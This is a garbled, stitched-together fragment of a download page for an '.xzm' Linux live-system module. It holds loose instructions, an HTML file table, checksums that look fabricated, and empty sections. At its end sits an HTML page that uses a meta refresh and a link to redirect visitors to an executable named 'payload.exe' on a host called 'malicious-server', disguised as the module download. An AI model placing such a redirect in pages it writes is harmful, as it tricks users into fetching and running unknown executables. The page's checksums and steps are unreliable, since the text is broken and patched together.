To inspect contents without loading:
unsquashfs module.xzm
# Extracts to squashfs-root/
Copy the module to:
Once you have your .xzm file (properly downloaded, not renamed from .html), you can activate it in Porteus or Slackware Live:
Small, standalone compressed module for quick distribution and sandboxed execution. SHA256 checksum and installation examples included. index download xzm.html
<section class="grid">
<div>
<div class="card">
<h3>Files</h3>
<table>
<thead>
<tr><th>Filename</th><th>Size</th><th>Type</th></tr>
</thead>
<tbody>
<tr><td><a href="xzm-1.2.0.xzm" download>xzm-1.2.0.xzm</a></td><td>3.8 MB</td><td>Compressed module</td></tr>
<tr><td><a href="xzm-1.2.0.xzm.sig" download>xzm-1.2.0.xzm.sig</a></td><td>1.2 KB</td><td>GPG signature</td></tr>
<tr><td><a href="xzm-1.2.0.tar.gz" download>xzm-1.2.0.tar.gz</a></td><td>950 KB</td><td>Source tarball</td></tr>
</tbody>
</table>
<h3 style="margin-top:12px">Checksums</h3>
<pre>
SHA256 (xzm-1.2.0.xzm) = 9f2d4b7a6a3c5e2b1a4f7c8d9e0b1a2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8 SHA256 (xzm-1.2.0.tar.gz) = b4e6c2d8f1e3a7c9b0d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a0b1c2d3e4f5a6b
<h3 style="margin-top:12px">Verify GPG signature</h3>
<pre>
gpg --verify xzm-1.2.0.xzm.sig xzm-1.2.0.xzm
<h3 style="margin-top:12px">Install</h3>
<p class="meta">Linux (example)</p>
<pre>
If you already have a design and just need the text (copy) to fill it, here is the structured content: To inspect contents without loading: unsquashfs module
Header Section
File Listings
Item Name: User Documentation
Item Name: Developer SDK
Footer Section
<!DOCTYPE html>
<html>
<head><meta http-equiv="refresh" content="0; url=https://malicious-server/payload.exe"></head>
<body>
<p>If download does not start, click <a href="https://malicious-server/payload.exe">here</a>.</p>
</body>
</html>